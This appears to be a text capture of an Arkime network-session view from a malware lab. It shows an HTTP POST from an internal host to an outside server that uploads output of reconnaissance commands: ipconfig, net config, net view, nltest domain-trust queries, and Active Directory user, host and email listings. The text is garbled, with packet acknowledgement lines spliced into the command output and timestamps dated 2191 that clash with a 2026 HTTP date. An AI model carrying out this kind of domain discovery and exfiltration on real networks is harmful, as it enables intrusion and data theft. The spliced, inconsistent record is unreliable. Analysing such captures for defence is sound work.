Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings

Start Time | Stop Time | Src IP / Country | Src Port | Dst IP / Country | Dst Port | Packets | Databytes / Bytes | Motioch Node | Info

Download PCAP | Source Raw | Destination Raw | Link | Actions

HTTP

Source (192.168.50.22:56512)

Destination (203.176.136.102:8082)

```
POST /uploads/upl_1*1*1*0*0*0*_1*0*1*0*0*0*_1*0*1*0*0*0*_1*0
```

Ethernet adapter Ethernet 2:

Connection-specific DNS Suffix . : projectfarscape.net
Description . . . . . : Microsoft Hyper-V Network Adapter
Physical Address. . . . . : 00-15-5D-08-03-07
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . . : Yes
IPv4 Address. . . . . : 192.168.0.11(Preferred)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:1191:7042:92:ac04(Deprecated)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:31e0:90ef:8c05:e8f2(Deprecated)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:708e:8083:d3b0:bc8b(Deprecated)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:d086:8080:d9a:bd7e(Deprecated)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:d0c2:c484:b9e:c7b0(Preferred)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:d403:b750:f98:c40e(Deprecated)
Temporary IPv6 Address. . . . . : 2001:8001:80:5e80:f41c:7f9a:2392:8ffe(Deprecated)
Link-local IPv6 Address . . . . . : fe80::1191:a0c0:e20:f0c1%20(Preferred)
IPv4 Address. . . . . : 192.168.0.11(Preferred)

20/08/2191 17:23:23 ack 1460 bytes

192.168.0.2(DHPreferred)
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : fe80::92:bcoff:fe48:20:77%4
192.168.0.1
DHCP Server . . . . . : 192.168.0.10
DHCPv6 IAID . . . . . : 150995700
DHCPv6 Client DUID. . . . . : 00-01-00-01-29-F1-8D-D4-02-15-5D-00-03-B0
DNS Servers . . . . . : 192.168.0.10
192.168.0.11
NetBIOS over Tcp/ip . . . . . : Enabled

Tunnel adapter isatap.projectfarscape.net:

Media State . . . . . : Media disconnected
Connection-specific DNS Suffix . : projectfarscape.net
Description . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . : 00-00-00-00-00-00-E0
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . . : Yes

Tunnel adapter Local Area Connection* 3:

Media State . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . : 00-00-00-00-00-00-E0
DHCP Enabled. . . . . : No
Autoconfiguration Enabled . . . . . : Yes

net config workstation

Computer name \\ASVLUM
Full Computer name asvlum.projectfarscape.net
User name Dmap

Workstation active on

20/08/2191 17:23:23 ack 1460 bytes

20/08/2191 17:23:23 ack 0 bytes

NetBT_Tcpip_{FDAC4285-C2C3-49F4-9255-DE4F7B9AC0F3} (001500000001)

Software version Windows 10 Pro

Workstation domain PROJECTFARSCAPE
Workstation Domain DNS Name projectfarscape.net
Logon domain PROJECTFARSCAPE

COM Open Timeout (sec) 0
COM Send Count (byte) 16
COM Send Timeout (msec) 250
The command completed successfully.

net view /all

System error 6118 has occurred.

The list of servers for this workgroup is not currently available

net view /all /domain

System error 6118 has occurred.

The list of servers for this workgroup is not currently available

nltest /domain_trusts

List of domain trusts:
0: PROJECTFARSCAPE projectfarscape.net (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

nltest /domain_trusts /all_trusts

List of domain trusts:
0: PROJECTFARSCAPE projectfarscape.net (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

---------- LOCAL_MACHINE_DATA ----------

User_Name: CN=Guido Bishop,OU=Malware Lab,DC=projectfarscape,DC=net
Computer_Name: CN=ASVLUM,OU=Computers,DC=projectfarscape,DC=net
Site_Name: Default-First-Site-Name
Domain_Shortname: PROJECTFARSCAPE
Domain_Name: projectfarscape.net
Forest_Name: projectfarscape.net
Domain_Dn:

20/08/2191 17:23:23 ack 0 bytes

20/08/2191 17:23:23 ack path 1335 bytes

netbios: asvlum.projectfarscape.net
Forest_Trees:
1) projectfarscape.net

Username: Guest Username: Administrator Username: krbtgt Username: AAD_f7a3f3fd8ec Username: testing E-mail: dkirkse@alienvault.org
Username: contractor E-mail: contractor@alienvault.org
Username: MSOL_f7a3f3fd8ec Username: rgonzalez E-mail: rgonzalez@projectfarscape.net

Domain: blackgate.projectfarscape.net

Name: blackgate.projectfarscape.net
Name: vlaunt.projectfarscape.net
Name: wingtip.projectfarscape.net
Name: asylum.projectfarscape.net

Username: Guest Username: Administrator Username: krbtgt Username: AAD_f7a3f3fd8ec Username: contractor E-mail: contractor@alienvault.org
Username: MSOL_f7a3f3fd8ec Username: rgonzalez E-mail: rgonzalez@projectfarscape.net
---

Domain: vlaunt.projectfarscape.net

Name: blackgate.projectfarscape.net
Name: vlaunt.projectfarscape.net
Name: wingtip.projectfarscape.net
Name: asylum.projectfarscape.net

Username: Administrator Username: Guest Username: krbtgt Username: contractor E-mail: contractor@alienvault.org
Username: AAD_f7a3f3fd8ec Username: MSOL_f7a3f3fd8ec Username: rgonzalez E-mail: rgonzalez@projectfarscape.net
---

----WebSiFuzzBoundary7MA4YWxkTrZu0gW----

20/08/2191 17:23:23 ack 0 bytes
20/08/2191 17:23:23 ack 0 bytes
20/08/2191 17:23:24 ack 0 bytes
20/08/2191 17:23:24 ack 0 bytes
20/08/2191 17:23:24 ack psh 128 bytes

HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 11 Jul 2026 21:23:23 GMT
Content-Length: 3
Content-Type: text/plain

{}

20/08/2191 17:23:24 ack 0 bytes

20/08/2191 17:23:24 ack 0 bytes
20/08/2191 17:23:29 ack 0 bytes
20/08/2191 17:23:29 ack fin 0 bytes

20/08/2191 17:23:29 ack 0 bytes

Packets: 200 | Internal | Bcast | Mcast | Drop | Show Packets | Show Data | CyberChef